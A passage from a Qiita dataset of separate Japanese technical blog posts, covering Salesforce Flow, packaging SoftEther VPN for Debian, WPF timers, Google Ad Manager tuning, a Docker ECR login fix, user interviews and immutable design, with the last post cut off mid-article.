OmniAICreator/Qiita-1.07M huggingface dataset:
【Salesforce】フロー開発初学者が知っておきたいTipsを整理してみた

#### ①呼び出し元レコードのSFIDを取得する
→ 「recordId」を使う

・[Apexクラスを呼び出すカスタムボタンをLEXでも使えるようにする（詳細ページボタン編）](https://qiita.com/kagehikozaemon/items/719f6fc054409ae03a0b)

・[【実装例あり】Salesforce画面フローの入力変数recordIdとは？使い方を徹底解説！](https://go.dx.business/dev/salesforce/24561)

<br>

#### ②リストビューから複数選択されたレコードのSFIDを取得する
→ 「ids」を使う

・[【Salesforce】idsを使ってリストビューや関連リストから選択した複数レコードをフローに渡す方法](https://qiita.com/kata73467963/items/47ed773656c3907bf5c9)

・[VFを呼び出すカスタムボタンをLEXでも使えるようにする（リストボタン編）](https://qiita.com/kagehikozaemon/items/cbdb78a8b9f5c7c70cc7)

<br>

#### ③サブフロー

・[サブフローって、どんな時に作るんですか？](https://sf.forum.circlace.com/articles/965608759772270592)

・[【Salesforce】【サブフロー】フロー開発でDRY原則を適用する](https://qiita.com/kagehikozaemon/items/cd20448a8d4ff0654878)


<br>

#### ④制限事項
基本的にはApex開発と同様の部分を気をつければOK。

そのうえでフロー開発固有の制限について代表的なものを知っておくと良し。
[トランザクション単位のフローの制限](https://help.salesforce.com/s/articleView?id=sf.flow_considerations_limit_transaction.htm&type=5)

・SOQLクエリ（SELECT等）は合計100回まで
・5万件を超えるレコードはSELECTできない
・処理が完了するまでに約10秒以上かかるとエラーが出て止まる。
など

5万件を超えるレコードを処理したい場合は、大人しくApexバッチ等で実装する。

<br>


#### ⑤権限まわり
「プロファイル」「権限セット」「ユーザー」単位で設定したり、
フロー自体でどのユーザーで使用できるように設定できたりする。

・[【Salesforce】ユーザによってはフローが実行できない？原因と解決策まとめ](https://go.dx.business/dev/salesforce/24498)


<br>
<br>

④に関連して、取引先レコード全件に対して一括処理するスケジュールトリガーフローを
実装したものの、本番環境のレコード数が余裕で上限を超えていて
慌ててApexバッチで同じ機能を作り直したこともありました。（1敗）
｢SoftEther の開発版を(deb パッケージで)追っかけたい｣ on Debian stable(bookworm)

# 概要
## なんなん???
Debian で SoftEther を使ってると最新版､特に開発版を使ってみたくなりがちです｡
ですが､､､｢どうしても deb パッケージで管理したいなぁ｣と思う人なのでやってみることにしました｡
基本的に｢[GitHub Action](https://github.com/SoftEtherVPN/SoftEtherVPN/blob/master/.github/workflows/linux.yml)｣に掲載されている内容に＋αしています｡(ﾈﾀﾊﾞﾚ

### sid あるじゃん? あれを apt source から引っ張って stable で使わないの???
[これ](https://salsa.debian.org/debian/softether-vpn/-/tree/debian/unstable/debian?ref_type=heads)ですよね?
使おうと思ったんですけど､書いてる時点(2024年10月25日)の3年前から手入れされてないっぽいので困ったんですw

# 下準備
｢GitHub Action｣の linux.yml に掲載されている｢Install dependencies｣欄の他にビルドで必要なパッケージをインストールします｡
事前に一般ユーザーでビルドするのでユーザーを作っておきます｡ 自分は｢softether｣というアカウントを作りました｡
```console:console
[root@vpn softether]# apt -y install cmake gcc g++ ninja-build libncurses5-dev libreadline-dev libsodium-dev libssl-dev make zlib1g-dev liblz4-dev libnl-genl-3-dev 
[root@vpn softether]# apt -y install dpkg-dev pkg-config build-essential
```
pkg-config を入れたのは素の Debian でビルドしていると｢pkg-config が入っていない｣と怒られちゃうからです｡

# ビルド
ここでは｢GitHub Action｣の linux.yml に掲載されている｢Build｣欄に書いてる内容のまま実行します｡
```console:console
[softether@vpn ~]$ git clone --depth 1 https://github.com/SoftEtherVPN/SoftEtherVPN
[softether@vpn ~]$ cd SoftEtherVPN
[softether@vpn SoftEtherVPN]$ mkdir build
[softether@vpn SoftEtherVPN]$ cd build
[softether@vpn build]$ cmake -G "Ninja" -DCMAKE_BUILD_TYPE=RelWithDebInfo ..
[softether@vpn build]$ cmake --build .
```

環境変数を設定してビルドする場合は[公式のビルドマニュアル](https://github.com/SoftEtherVPN/SoftEtherVPN/blob/master/src/BUILD_UNIX.md
)に書いてあるとおりで､以下のようにします｡

```console:console
[softether@vpn ~]$ git clone --depth 1 https://github.com/SoftEtherVPN/SoftEtherVPN
[softether@vpn ~]$ cd SoftEtherVPN
[softether@vpn SoftEtherVPN]$ mkdir build
[softether@vpn SoftEtherVPN]$ cd build
[softether@vpn SoftEtherVPN]$ cmake -G "Ninja" -DCMAKE_BUILD_TYPE=RelWithDebInfo -DSKIP_CPU_FEATURES=ON -DSE_PIDDIR=/run/softether -DSE_LOGDIR=/var/log/softether -DSE_DBDIR=/var/lib/softether ..
[softether@vpn build]$ cmake --build .
```

# パッケージ作り
ここでは｢GitHub Action｣の linux.yml に掲載されている｢Build deb packages｣欄に書いてる内容のまま実行して､生成した deb パッケージをホームディレクトリに移します｡
```console:console
[softether@vpn build]$ cpack -C Release -G DEB
[softether@vpn build]$ mv *.deb ~/
```
これでパッケージ作りはおしまいです｡ 出来上がったパッケージを dpkg でそのまま突っ込んだり煮るなり焼くなり(ry

# なんとか2回目以降もできんのか???
初回のパッケージの作り方をまとめましたが2回目以降もパッケージ作りたいときはもうスクリプトにしてしまうのがいいでしょう｡
```bash:/home/softether/bin/build_package
#!/bin/bash

cd ~softether/SoftEtherVPN/

if [ -d build ]; then
        rm -vrf build
fi

git pull
git submodule update --remote --init --recursive

mkdir -p build; cd build
cmake -G "Ninja" -DCMAKE_BUILD_TYPE=RelWithDebInfo -DSKIP_CPU_FEATURES=ON -DSE_PIDDIR=/run/softether -DSE_LOGDIR=/var/log/softether -DSE_DBDIR=/var/lib/softether ..
cmake --build .

cpack -C Release -G DEB
mv *.deb ~/
```

# まとめ
そんなわけで sid の進捗よくない状態で開発版を deb パッケージにしてみたお話でした｡
今回は Debian 環境のみですが RHEL はじめ RPM パッケージな環境でも出来そうな気がします(試したとかこれから試すとは言ってない 
いやぁ〜 GitHub Action のコンフィグには勉強になる項目があって本当にいいものですねぇ〜(水野晴郎さん風
ユーザニーズを捉えたプロダクトとは？操作性と機能性の関係性を解説

## **はじめに**
こんにちは、株式会社TRAILBLAZERのソリューション事業部でPdMを担当している清河です。

Webやアプリのプロダクト開発において「操作性」と「機能性」はしばしばトレードオフの関係にあります。「どちらを優先すべきか？」という問いに明確な答えを出すのは難しいですが、プロダクトマネージャー（PdM）としての視点から、これらの課題にどう向き合うべきかを掘り下げてみたいと思います。

## **目次**
1. [操作性と機能性のそれぞれの定義](#1-操作性と機能性のそれぞれの定義)
2. [優先順位はどう考えるべきか](#2-優先順位はどう考えるべきか)
3. [成功のカギは本質の理解にある](#3-成功のカギは本質の理解にある)
4. [まとめ](#4-まとめ)

## **1. 操作性と機能性のそれぞれの定義**
まず「操作性」と「機能性」という言葉が示すものを明確にしておきます。これにより、議論の土台をしっかりと整えましょう。

### 操作性
操作性とは、ユーザが直感的かつスムーズにプロダクトを使える度合いを指します。以下の要素が操作性を構成します。
- **直観性**：次に何をすべきかが迷わずに自然に理解できること
- **効率性**：必要最小限のステップで目的を達成できること
- **視認性**：操作に必要なボタンやナビゲーションが見つけやすいこと

例えば、ECサイトの購入ボタンが目立たない場所にあれば、ユーザは迷い、離脱率が上がるでしょう。一方で、視覚的に直感的なナビゲーションはユーザ体験を劇的に向上させます。

### 機能性
機能性とは、プロダクトがユーザのニーズを満たし、課題を解決する能力です。具体的には以下のようなものを指します。
- **メインの機能**：記事投稿、決済、ソーシャルログインなど
- **補助的な機能**：検索、フィルタリング、いいね機能など

これらが適切に組み合わされることで、ユーザにとって「このプロダクトが必要不可欠」と感じられるものになります。

## **2. 優先順位はどう考えるべきか**
プロダクトをグロースさせる過程においては操作性と機能性の両方をアップグレードし続ける必要があります。
ただし、機能を搭載させればさせるほど、複雑性を増していきます。
操作性を維持したまま機能性を向上させることがPdMとしての腕の見せ所だと思いますが、両立が困難な局面になった場合、どちらを優先させるべきでしょうか。
私の結論は「操作性」です。

理由はシンプルで、いかに高度な機能を備えていても、ユーザがそれを直感的に使えなければ価値が半減してしまうからです。

「機能が多いからこそ、マニュアルやチュートリアルを充実させれば良い」という意見もあります。確かに、それらは役立つ補助ツールですが、基本的にユーザは手順を学ぶことを面倒だと感じます。
必要な情報が視覚的に直感的であり、説明を読まなくても自然に使い方が理解できるデザインこそが、プロダクトの価値を引き出すと考えます。

## **3. 成功のカギは本質の理解にある**
ただし、操作性と機能性を議論する以前に、もっと重要なポイントがあります。それは、プロダクトが「ユーザの本質的なニーズを捉えているか」ということです。

### 「本質」を捉えたプロダクトとは
例えば、多少見づらく、使いづらいプロダクトでも、ユーザの根本的なニーズを満たしていれば、ユーザは使い続けます。逆に、どれだけ洗練された操作性や高機能なデザインを備えていても、ユーザが「必要ない」と感じるプロダクトは淘汰されます。

## **4. まとめ**
操作性と機能性のバランスを取ることは、プロダクト開発におけるテーマです。
**「操作性」** は、ユーザがプロダクトを使うための入り口を広げ、
**「機能性」** は、使い続ける理由を提供します。

最も重要なのは、「ユーザが何を本当に求めているのか」を深く理解することです。その上で、必要な機能を見極め、誰もが直感的に使えるシンプルなデザインを実現することが、成功のカギとなります。

https://hrmos.co/pages/trail-blazer
【C#】【WPF】DipatcherTimerとTimerの使い分け

一定間隔で処理を行う場面ではTimerに処理を移譲することを考えることがあると思います。

ここで2つのTimerが見つかりました。

DispatcherTimerはUIをブロックする。
（名前空間System.Windows.Threading;）

TimerはUIをブロックしない。
（名前空間System.Timers;）

メッセージボックスを出してみる処理を作るとわかりやすいと思いました。

DisptcherTimertはUIスレッドで同期的に処理をするがTimerは別スレッドで非同期的に処理を行っていると言えると思います。

１．DispatcherTimerを使う
```
using System;
using System.Windows;
using System.Windows.Threading;

namespace TimerSample
{
    /// <summary>
    /// MainWindow.xaml の相互作用ロジック
    /// </summary>
    public partial class MainWindow : Window
    {
        DispatcherTimer MyDispatcherTimer;

        public MainWindow()
        {
            InitializeComponent();

            MyDispatcherTimer = new DispatcherTimer();
            MyDispatcherTimer.Tick += Timer_Tick;
            MyDispatcherTimer.Interval = TimeSpan.FromSeconds(1);
            MyDispatcherTimer.Start();

        }

        private void Timer_Tick(object sender, EventArgs e)
        {
            MessageBox.Show(DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"));
        }
    }
}


```

２．Timerを使う
```
using System;
using System.Timers;
using System.Windows;

namespace UIをブロックしないTimer
{
    /// <summary>
    /// MainWindow.xaml の相互作用ロジック
    /// </summary>
    public partial class MainWindow : Window
    {
        Timer MyTimer;

        public MainWindow()
        {
            InitializeComponent();

            MyTimer = new Timer();
            MyTimer.Elapsed += MyTimer_Elapsed;
            MyTimer.Interval = 1000;
            MyTimer.Start();

        }

        private void MyTimer_Elapsed(object sender, ElapsedEventArgs e)
        {
            MessageBox.Show(DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss"));
        }
    }
}
```
調査が上手な人はコードを「物体」として認識している

日本CTO協会24卒Advent Calendar3日目です。3日目も日本CTO協会に所属していない私が書きます。もちろん他のメンバーも書くので安心してください。2日目のわたしの記事は[こちら](https://qiita.com/euryopa/private/122561fb9663f7157e5e)

# はじめに
今日は私が業務で体感した、強いエンジニアの方はどのようにバグや実装方法を調査をしているのかについて書いていきます。

先月、エンジニア歴が7年近くある先輩とペアプロする機会がありました。実装したい機能について、どう実装するのか私も先輩も経験がなく、一緒に調べながら進めていこうという感じでした。

その中で得た私の学びが「**調査が上手な人はコードを『物体』として認識している**」というものです。

# 「コードを『物体』として認識している」とは
抽象的すぎる表現になってしまいましたが、私としてはこの表現が腑に落ちています。

どういうことかというと、ライブラリで提供されている関数やメソッドなどの機能に対して、「こういう機能を提供してくれるやつ」とぼんやりと認識するのではなく、「コードとして目に見える形(＝物体)でたしかに存在しているもの」と認識しているということです。

一見当たり前のように聞こえますが、この意識は非常に重要です。なぜならこの意識をもつことで、調査するときに**レポジトリにコードを見に行く**という行動が選択肢に入ってくるからです。

私のような新米エンジニアは、ライブラリをただの便利機能として認識してしまいがちです。そのため、エラーが出た時や提供されている機能を使って実装しようとしても上手くいかなかったときに、ライブラリそのものに原因がある、もしくはライブラリの中身のコードを見れば解決できるかもしれない、という可能性を知らず知らずのうちに排除してしまうのです(私だけかもしれませんが…)。

ライブラリがどのように実装されているのかをメソッド名から推測し、気になったメソッドは中で使われている変数名から処理の流れを把握する、ということを繰り返した結果、経験がない実装も完成させることができました。先輩のその調査のエレガントさにとても感動しました。恥ずかしくて直接は言えないですが。

以前、新人研修で調査のコツを今回ペアプロしていただいた先輩にお願いしたのですが、そのときに「うまくいかないときはコードに原因がある」とおっしゃっていました。このペアプロを通じて、「うまくいかないときはコードに原因がある」という1つの抽象化された考えに則って調査を進めることで、最初は手つかずだった問題も解決できるようになるということが私にとって衝撃でした。

この経験以来、何か詰まったときに自分のコードだけでなくライブラリのコードも意識的に読むようにしています。ときにはIssueを検索してみて、同じような問題が既に取り上げられていないかを調べるようにもなりました。もちろん先輩には遠く及びませんが、自分の調査の型が少しずつできているように感じています。

# 最後に
「うまくいかないときはコードに原因がある」。その認識を常に持ち、自分のコード・ライブラリのコード関係なくフラットに考えて突き詰めて調査することの重要性を今回学びました。この意識をもとに自分の調査方法の練度を高めていきたいです。
5分で始める！Markdownレジュメの育て方

いよいよ年末という気候になってきましたね．
さて，年末といえば一般的には何をするタイミングでしょうか？


そうです，レジュメ（職務経歴書）のメンテですね．
この1年間でやったことをレジュメに記載し，然るべきタイミングで自分の実績を見せられる状態に保つことは重要だと思います．


まだメンテするレジュメを持っていない方も心配ご無用！
**Markdonwで記述可能なレジュメを5分で作成する方法**も紹介するので，この機会にぜひ作成してみてください．


## 前提条件
`docker-compose` を使うので[公式の手順](https://docs.docker.jp/v1.12/compose/install.html)に従ってインストールをして下さい．


## レジュメの始め方

### 1. 下記のリポジトリをフォークする

https://github.com/mszep/pandoc_resume

Markdownでレジュメを作成するためのスクリプトとサンプルのMarkdownファイルを用意してくれています．
作成者の方ありがとうございます．

### 2. フォークしたリポジトリをクローン・編集する

```
git clone https://github.com/mszep/pandoc_resume
cd pandoc_resume
vim markdown/resume.md 
```
clone先は各自でforkしたリポジトリに読み替えて下さい．
いい感じにテンプレートを用意してくださっているのでMarkdownを編集しましょう．

※ **日本語フォントが設定されていないので，日本語部分はPDFにレンダリングされません**
後ほど日本語対応できたら追記します．

### 3. PDFをビルドする

```
docker-compose run --rm -d resume-make
```

上記を実行すると`/output`ディレクトリ以下にPDFファイルが生成されるはずです．

以上の手順でレジュメが生成できるようになりました！
（この間わずか5分足らずでできるハズ）

ここからはこのレジュメを育成していきましょう．


## レジュメの育て方
ここからはどうレジュメを育てていくか，の個人的方法論について語りたいと思います．

大まかに
1. タスク毎
1. 半期毎
1. 1年毎

くらいでレジュメをメンテしているので，つらつら書いてみます．

### タスク毎にやること
レジュメで大切なことは目的とそのために取り組んだことを余すことなく記述することだと思います．
その間の業務記録をとにかくメモするようにしておくと良いでしょう．

- 業務内容の記録
    - 新しいタスクに取り組む際，目的と進捗をとにかくメモします
        - 目的を最初にはっきりさせるのは，後の振り返りで成果を定量評価する際に立ち返る必要があるためです
    - もちろん使用した技術やツール，解決した課題なども事細かに記録します


### 半期毎にやること
現所属の会社は半期毎に査定面談があるため，そのタイミングに併せて成果を定量的に振り返り追記してます．

- 成果の追記
    - 過去半年間に関わったタスクを振り返り，自分の負ったミッションと定量成果を書き連ねます
- スキルセットの更新
    - 半年間で新たに習得したスキルや技術も追加します


### 1年毎にやること
年に一度大きな見直しを行い，全体的なブラッシュアップをしてます．
外部の視点を取り入れてみても良いかもしれませんね．

- 総合的な見直し
   - レジュメ全体を読み返し全体の構成や一貫性を確認
   - デザインとフォーマットも更新（気が向いたら）

以上です．
サクッと始められる割にモチベにも繋げやすいので，興味がある方は是非育成を始めてみてください．
今日からできるGoogle Ad Managerのチューニング

# この記事について

これは[株式会社TimeTree Advent Calendar 2024](https://qiita.com/advent-calendar/2024/timetree)の1日目の記事です。

TimeTreeでは自社で販売、配信をしているTimeTree Adsの他に、Google Ad Managerから配信されるプログラマティック広告の掲載もしています。

以前から「起動してプログラマティック広告表示までが遅い」と社内での声があり、開発者自身も体感的に広告の表示が遅いと感じていました :disappointed_relieved: 

広告表示が遅いことで広告表示前にユーザーが離脱し、広告impの伸び悩みにもつながっていました。

この声をきっかけに、Google Ad Managerから配信される広告の表示速度をチューニングした結果、売り上げアップにもつながった話を書きます :muscle: 

# 忙しい人のための結論

**Waterfallに収益パートナーをたくさん設定している場合は、掲載率を元に設定を見直すと広告表示が速くなってimpが増える。** :tada: 

# TimeTreeでやったこと

チューニング内容について、実施した順序で書いていきます :raised_hand: 

## 1.リクエストタイミングの見直し

まず思いついたのは、リクエストタイミングを少しでも早くすることでした。

起動してから広告リクエストを開始するまでの時間を短くすることで、少しでも表示を早くしようとする試みです。

> ヒント: 広告読み込み呼び出しを使用して、広告を表示する前にプリロード広告のキャッシュを構築しておけば、必要に応じて広告をゼロレイテンシで表示できます。広告は 1 時間で期限切れになるため、このキャッシュを消去し、1 時間ごとに新しい広告で再読み込みする必要があります。

https://developers.google.com/admob/ios/native?hl=ja

表示する前にプリロードしておく実装は公式ドキュメントでおすすめされているようでした。

ですが、この対応で表示が若干早くなったものの、
体感できるほどの成果がでませんでした :cry: 

## 2.計測による現状把握

成果が思うように上がらなかったプリロード施策の反省から、現状を確認するために以下の3種類の指標を計測することにしました。

* 起動から広告リクエスト開始までの時間
* 起動から広告レスポンスまでの時間
* 起動から広告描画完了までの時間

ここからわかったこととしては、「リクエストからレスポンスまでの時間がかかっている」ということでした。

Google Ad Managerから広告が返ってくるまでの時間を、削減する方法を検討していくことになりました。

## 3.Waterfall設定の見直し

Mediationの仕組みでCPMの高い収益パートナーを追加し、平均CPMを上げようとするケースは多いと思います。TimeTreeではMediationの中でもWaterfallを利用して収益パートナーを追加しています。

(Mediation、Waterfallの説明については以下のドキュメントをご参照ください)

https://support.google.com/admanager/answer/7391294?sjid=13624918161172551659-AP

https://support.google.com/admob/answer/13404328?hl=ja

Waterfallの性質上、収益パートナーのサーバーひとつずつに問い合わせをしていきます。接続する収益パートナーが増えるほど、広告レスポンスまでの時間が長くなります。

なので、Waterfallで接続する収益パートナー数を削減できれば、Google Ad Managerからの広告レスポンスを早くできます。

TimeTreeでは収益パートナー設定の中から広告掲載率が低い設定を削除し、Waterfallの問い合わせ数を削減することで、広告レスポンスの待機時間を削減しています。

掲載率は収益グループでWaterfall設定一覧から確認することができます。
![スクリーンショット 2024-11-28 23.17.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/161845/9648447f-dc61-2dd6-fdba-13ac435a5903.png)

この掲載率、全体収益を主な指標として、Waterfall設定の見直しを数回実施しました。

## 4.改善結果

2023年の夏ごろから計測を始めて設定見直しを続けて改善を重ねた結果...

* 広告レスポンス待機時間を75%短縮
* プログラマティック広告単体のimpが増え、売り上げが増加

以下が実際に広告レスポンス待機時間を計測したグラフです。2023年の夏ごろから計測を始めて改善されていったのが見て取れると思います。

![スクリーンショット 2024-11-26 11.42.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/161845/4ff360a4-399f-b903-f181-64720b5345cc.png)

この対応をしたとき、社内でも「広告表示速くなったよね」と言ってもらえました :flushed: 
 
# なぜこの改善ができたのか

TimeTreeの風土は一つ大きな起因だと考えています。改善などを「試してみたい」と提案すると、テストで試してみようといわれることが多いです。

特に今回の広告表示速度の改善はユーザービリティを毀損しない、誰の目から見てもやったほうがよいことだったのもあり、二つ返事でOKをもらって実施していました。

そういった面もあり、改善がとてもやりやすい環境でした。

# 終わりに

収益が下がっていないかを見ながらになりますが、Google Ad Managerの設定見直しは開発不要でできるためお手軽な改善方法です。
最近設定いじってないなと思う方はぜひ試してみてください :rainbow: 

TimeTreeでは共にミッションに挑戦する仲間を募集しています。
ご興味のある方はぜひ下記に目を通していただけるとうれしいです。
お会いできることを楽しみにしています！

- 募集職種は[こちら](https://timetreeapp.com/intl/ja/corporate/careers)
- 会社の紹介資料は[こちら](https://docs.google.com/presentation/d/e/2PACX-1vQ2kFTDgn_hu0jFBuMw8qjIyiMFImX-c38lDyaDhPwXQwCCnGvBQIemMmb_FgF7Gl7Ga3MFEJBwES-1/pub?start=false&loop=false&delayms=3000&slide=id.g301419fe16c_0_988)
- TimeTreeで働くメンバーは[こちら](https://note.com/timetree_inc/m/m4735531db852)
docker push時に`no basic auth credentials`になった場合の対処メモ

# 問題点
AWS ECRに`sudo docker push`を実行した際に`no basic auth credentials`となる。

``` bash
$ aws ecr get-login-password --region ap-northeast-1 | docker login --username AWS --password-stdin 123456789012.dkr.ecr.ap-northeast-1.amazonaws.com
WARNING! Your password will be stored unencrypted in /home/User/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credential-stores

Login Succeeded

$ sudo docker push 123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/repository:tag
The push refers to repository [123456789012.dkr.ecr.ap-northeast-1.amazonaws.com/repository]
dc63303095c5: Preparing
5513cf32130a: Preparing
1c44f9d6c008: Preparing
cb42413394c4: Preparing
no basic auth credentials
```

# 環境
Windows11 + WSL2(Ubuntu 24.04.1) + Docker Engine(27.3.1)

* Docker for Windowsは未導入
* docker credential helper は未導入
* Dockerユーザーグループにユーザー追加はしていない（dockerコマンド実行にsudoが必要な状態）

Docker Engineのインストールは以下から実施
[Install Docker Engine on Ubuntu #install-using-the-repository](https://docs.docker.com/engine/install/ubuntu/#install-using-the-repository)

# 原因
`docker push` コマンドは`sudo`を付けていたのに対し、
`docker login` コマンドには`sudo`を付けていなかったため。

`docker login`は`sudo`がなくても実行できてしまうようで、`sudo`の有無で認証情報の格納先が変わる。
　→`sudo`を付けなかった場合：~/.docker/config.json 
　→`sudo`を付けた場合：/root/.docker/config.json 
`docker push`の際には`sudo`をつけていたため、`/root/.docker/config.json`に認証情報がなくエラーとなっていた。

``` bash 
$ aws ecr get-login-password --region ap-northeast-1 | sudo docker login --username AWS --password-stdin 123456789012.dkr.ecr.ap-northeast-1.amazonaws.com
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credential-stores

Login Succeeded
```
`sudo docker login`とすると、WARNINGの認証情報の格納先も/root配下に変わっている。

# 参考
以下記事を参考にさせていただきました。本記事も似た構成となっておりますが、原因が別でしたので記録として残させていただきます。

https://qiita.com/NaokiIshimura/items/1886dbd04631c3f7d0e1

その他参考

https://docs.aws.amazon.com/ja_jp/AmazonECR/latest/userguide/common-errors-docker.html#error-403

紹介されている原因はいずれもあてはまらなかった。
* 別のリージョンに対して認証されている
* プッシュ先として認証したリポジトリに対するアクセス許可がない
* トークンの有効期限が切れた
* wincred 認証情報マネージャーのバグ

https://qiita.com/autotaker1984/items/9b88b234b34b0e26fbdd
ユーザインタビューで見つける、プロダクトづくりのヒント


この記事は [株式会社TRAILBLAZER Advent Calendar 2024](https://qiita.com/advent-calendar/2024/trail-blazer) の15日目の記事です。

---
### **はじめに**

こんにちは。8月にUXデザイナーとしてジョインした金です。現在は観光ナビ「tabiwa by WESTER」に関わり、より良い体験を生み出すための業務を行っています。

サービスの企画の種を見つける・施策の妥当性を検証するなど、ユーザインタビューを行う場面は多数あります。この記事では、ユーザインタビューの基本について実践例も交えながらお話しします。

---

### **目次**
- [ユーザインタビューとは？](#ユーザインタビューとは？)
- [ユーザインタビューで押さえるべき4つのポイント](#ユーザインタビューで押さえるべき4つのポイント)
- [プロジェクトでの実践例](#プロジェクトでの実践例)
- [まとめ](#まとめ)

---

### ユーザインタビューとは？
ユーザインタビューとは、ユーザに直接話を聞いて、その課題やニーズを深く理解するための調査手法です。

この方法を使うことで、ユーザ自身が意識している「顕在ニーズ」だけでなく、普段は意識していない「潜在ニーズ」や行動の裏に隠れた「インサイト」を発見することができます。

ユーザインタビューには、以下のような2つの主な目的があります：
- 機会探索型: 新しいアイデアや価値を見つけるための調査。
- 仮説検証型: 既存の課題や改善点が妥当かを確かめるための調査。

例えば、tabiwaのような旅行サービスを開発する場合、単に「機能」を考えるだけでは不十分です。「旅行計画中にどんなストレスを感じたのか」「旅行中は何を優先したいのか」を具体的に掘り下げることで、ユーザの心に刺さるアイデアのヒントが見つかります。


### ユーザインタビューで押さえるべき4つのポイント
#### 1. 背景・目的をクリアにする
成功の第一歩は、「何のためにこのインタビューを行うのか」を明確にすることです。
ただ「聞きたいこと」を聞くのではなく、聞いた結果「どのような意思決定に役立つのか」を考えることが大切です。

#### 2. 対象者を選ぶのもデザインの一部
どんな人から話を聞くかが結果を左右します。旅行サービスなら、旅行好きだけでなく「旅行が面倒だと感じている人」も選ぶことで、新たなニーズを掘り起こせます。

#### 3. リラックスさせる雰囲気作り
最初に自己紹介と目的の共有をし、「ここで話すことには普遍的な正解があるものではなく、あなた自身の考えや経験を聞きたい」と伝えることで、参加者の素直な発話を引き出します。答えやすい質問から始め、自然な会話に繋げることが大切です。

#### 4. 質問はオープンに、掘り下げは深く
質問の設計が成功の鍵です。「どんな旅行アプリが欲しいですか？」ではなく、「最近の旅行計画で最も困ったことは何ですか？」と聞くことで、具体的な体験や課題を引き出せます。

### プロジェクトでの実践例
先日、tabiwaの今後の方向性を検討する上でのプレリサーチとして、社内でユーザインタビューを行いました。
#### インタビュー目的
1.	国内旅行者の旅行カスタマージャーニー・ペイン・ゲインを明らかにし、ユーザセグメントおよびtabiwaの方向性のヒントを得る
1.	国内旅行者の旅行サービス利用状況を調査し、他の旅行サービスとの差別化要素を探索する

#### 実施プロセス
##### 【準備】以下の構成でインタビューガイドを作成。

- イントロダクション
- 旅行基本情報の確認
- 旅行の価値観理解
- 具体的な旅行体験の深堀り
- 旅行サービスの利用状況
- クロージング


##### 【実査】各セッション90分、オンラインで実施。
質問例：

「過去の印象に残っている旅行を教えてください」
「この旅行に点数をつけるとすると100点満点中何点ですか？」
「あなたにとって "旅行" とはなんですか？」

##### 【分析】発話のグルーピング・関係整理を行いインサイトを抽出。インサイト毎にユーザセグメントを整理。
![スクリーンショット 2024-11-28 18.11.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3932355/8db7f8d2-753d-2108-750f-d3a0bbe25ddc.png)
![スクリーンショット 2024-11-28 18.12.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3932355/6fdec8ed-9f0c-b144-f33a-3f199dce7d1c.png)



### まとめ
ユーザインタビューは、プロダクトやサービスを「本当にユーザが必要としているもの」に近づけるための最強のツールです。ただの調査ではなく、ユーザの声を直接聞き、その中から課題や期待を掘り下げることで他では得られない貴重なインサイトを手に入れることができます。

ユーザインタビューは難しく聞こえるかもしれませんが、最初の一歩はシンプルです。同僚や友人に話を聞いてみることから始めてみてください。1〜2人でも話を聞くことで、新しい発見が得られるはずです。そして、その発見をプロダクト設計に生かしてみましょう。

ユーザの声に耳を傾けることは、UXデザイナーにとって大きな武器となります。聞く力を磨き、プロダクトの未来を切り開いていきましょう！

https://hrmos.co/pages/trail-blazer
文字の出現頻度

XZQが出現頻度が低いので、プレースホルダは、Xとかで囲む【XZQZQZQZQXみたいな】

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/435735/1de4367b-8de8-487c-512d-8a2a0b64b3d7.png)


https://en.wikipedia.org/wiki/Letter_frequency
イミュータブルな実装を知って、内部品質を高める

この記事は 過去の自分に教えたい、ソフトウェア品質の心得 のアドベントカレンダーの記事です。

https://qiita.com/advent-calendar/2024/qualityforward01



## もっと早く知りたかった、イミュータブルな実装方法

「過去の自分に教えたい」品質を高める方法として、テストしやすい実装が重要ということが頭に浮かびました。
イミュータブルな実装にすると、副作用が発生しません。

この副作用のない構造をシステム内部で広く活用ができれば、内部品質を飛躍的に高まる思考に自然と行き着いていくと感じています。

そのため、この発想を知った時には楽しかったですが、この効果を実感したときに、もっと早く知っていればなーと感じました。
今回はそのイミュータブルな実装を知ることで与える内部品質全体について書きました。


## イミュータブルな実装とは？

### ミュータブルな実装とイミュータブルな実装の違い

ミュータブルな実装とは、値の変更が起きるオブジェクト
例えば、連想配列型のオブジェクトを引数で渡して、変更があった情報を更新されるような処理の場合、この連想配列はどのタイミングで参照したかによって内容が変わります。

イミュータブルな実装とは、値の変更が起きないオブジェクト
オブジェクトを生成した瞬間そのオブジェクトは完成しており変更はできません。もし変更を加えたい場合には新しい値のオブジェクトを作る必要があります。変更の参考にしたい元のオブジェクトと変更したい値を使って新しいオブジェクトをつくることになります。
そうすると、１度作られたオブジェクトは変更されることがありません。


###  副作用のないメソッド
イミュータブルな実装でロジックを組み合わせれば、副作用のない実装を作ることができます。

副作用ない実装とは、何度実行しても同じ値を与えれば全く同じ結果が返ってくるロジックのことです。
副作用のある実装とは、例えば裏でデータベースが違う値を持っていたり、処理の途中で非同期処理の値を受け付けたりすると、メソッドに与えた引数は同じであっても違う値が返ってくることになります。その処理は副作用がある処理になります。




副作用のないメソッドはそのロジックが全く同じように実行されるため、同じ値を渡せば必ず同じ値が返ってきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17213/be101291-ebd0-f616-0a4b-e2d0fa644d8e.png)


## ウェブアプリケーションで副作用のないロジックを実現する

通常のウェブアプリケーションではリクエスト１件に対して１件のレスポンスを返します。
つまりリクエストを処理するロジックを副作用のない処理にすることが出来れば、同じ値を渡せば、必ず同じ値が返ってくるようになります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/17213/dad534e7-493c-43d6-b5dd-6637e4ee316b.png)




しかし、副作用が発生しやすい処理として、データを保存したり取り出したりする取り扱う処理があります。
リクエストの処理を元に取り出したり、保存したりしますが、これらはデータを保存している状態によって、ロジックが何を返すかが変わります。このデータの状態はミュータブルであり、見通しが悪くなりやすいです。


